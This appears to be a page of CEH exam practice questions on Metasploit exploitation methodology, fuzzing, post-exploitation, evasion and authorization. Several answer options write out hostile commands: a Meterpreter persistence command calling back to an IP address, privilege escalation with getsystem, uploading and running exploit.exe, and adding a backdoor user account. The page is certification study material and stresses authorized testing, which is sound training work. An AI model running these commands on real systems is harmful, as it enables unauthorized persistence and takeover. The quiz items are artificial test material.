You are conducting a penetration test against a web server. Your initial port scan shows only port 80 open. You have identified a potential SQL injection in the login form. You need to gain a foothold on the system. Which approach aligns with the systematic exploitation methodology?

Run a Metasploit exploit against port 80 without further enumeration.

Use an auxiliary scanner to check for other open ports before exploiting the SQL injection.

Use the SQL injection to extract the database contents, then attempt to upload a web shell through a file upload feature if present.

Perform a brute-force attack on the login form to guess credentials.

What is the purpose of a fuzzing auxiliary module in Metasploit?

To exploit a known vulnerability in a service.

To establish a persistent backdoor.

To send malformed or unexpected data to a service to discover vulnerabilities.

To encode a payload to evade detection.

After successfully exploiting a Windows target and obtaining a Meterpreter session, you need to gather system information, elevate privileges, and maintain access for later stages of the test. Which sequence of Meterpreter commands best accomplishes these goals?

`background`; `use post/multi/gather/env`; `run`

`upload /tmp/exploit.exe C:\\temp\\exploit.exe`; `execute -f C:\\temp\\exploit.exe`

`sysinfo`; `getsystem`; `persistence -U -i 10 -p 4444 -r 192.168.1.5`

`getuid`; `shell`; `net user hacker P@ss /add`

Which of the following is an example of an evasion technique in Metasploit?

Using an encoder to obfuscate the payload.

Setting RHOSTS to the target IP.

Running a post-exploitation module.

According to ethical hacking guidelines, when is it permissible to use exploitation techniques?

Only on systems that are not connected to the internet.

Only within authorized environments with explicit permission from the system owner.

Only when using open-source tools.

Whenever the intent is to improve security, regardless of authorization.

EC-CouncilCertified Ethical Hacker

Domain 3Objective 3

Vulnerability Exploitation and Metasploit CEH Practice Questions (Page 1)

Part of the System Hacking Phases and Attack Techniques domain, which makes up ~16% of our current practice bank. EC-Council does not publish an official question count, but from its 240-minute exam (~95–160 total, ~15–26 in this domain), expect 2–3 from this objective — we provide 48 practice questions to prepare you well beyond it. (estimate)

48questions here

10free pages

14concepts

14 Concepts in This Objective

Vulnerability Exploitation Fundamentals
Exploitation Phases and Methodology
Metasploit Framework Architecture
Metasploit Module Types
Metasploit Command-Line Interface
Exploit Selection and Configuration
Payload Generation and Selection
Running Exploits and Handling Sessions
Post-Exploitation Techniques
Metasploit Auxiliary Modules
Evasion and Anti-Virus Bypass
Metasploit Database Integration
Metasploit Scripting and Automation
Ethical and Legal Considerations

Questions 1–5

1expert · hard
You are conducting a penetration test against a web server. Your initial port scan shows only port 80 open. You have identified a potential SQL injection in the login form. You need to gain a foothold on the system. Which approach aligns with the systematic exploitation methodology?
Select an answer first
2foundation · easy
What is the purpose of a fuzzing auxiliary module in Metasploit?
Select an answer first
3application · medium
After successfully exploiting a Windows target and obtaining a Meterpreter session, you need to gather system information, elevate privileges, and maintain access for later stages of the test. Which sequence of Meterpreter commands best accomplishes these goals?
Select an answer first
4foundation · easy
Which of the following is an example of an evasion technique in Metasploit?
Select an answer first
5foundation · easy
According to ethical hacking guidelines, when is it permissible to use exploitation techniques?
Select an answer first

Finished these 5 questions?

Review the revealed explanations, or continue through the curriculum.

Next 5 questions →Back to CEH

Free Basic Practice is a study aid with revealable answers — not a scored exam. Examers.io is independent and not affiliated with or endorsed by EC-Council. “CEH” is a trademark of its owner, used for identification only.